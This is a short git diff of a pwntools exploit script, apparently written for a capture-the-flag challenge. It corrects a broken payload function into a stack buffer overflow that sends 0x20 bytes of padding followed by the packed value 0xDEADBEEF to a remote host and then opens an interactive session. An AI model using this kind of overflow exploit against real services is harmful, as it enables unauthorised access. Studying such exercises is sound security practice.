diff --git a/x.py b/x.py
index f6c9224b4ae80fd2b6597530a5082f40bbbf5d6f..a0fdbf2cd368b3993eac8c5271d84298948812a6 100755
--- a/x.py
+++ b/x.py
@@ -11,11 +11,11 @@ context.log_level = 'info'
 
 ### SPLOIT ###
 
-def sploit(addr):
-
+def sploit():
     log.info(p.recvuntil("\n")) # consume until \n
-    p.sendline(512 * "A" + sploit(0xDEADBEEF))
+    p.sendline((0x1c+0x4) * "A" + p32(0xDEADBEEF))
     p.interactive()
+    return
 
 if __name__=="__main__":
 
@@ -32,3 +32,4 @@ if __name__=="__main__":
         p = remote(HOST, PORT)
 
     sploit()
+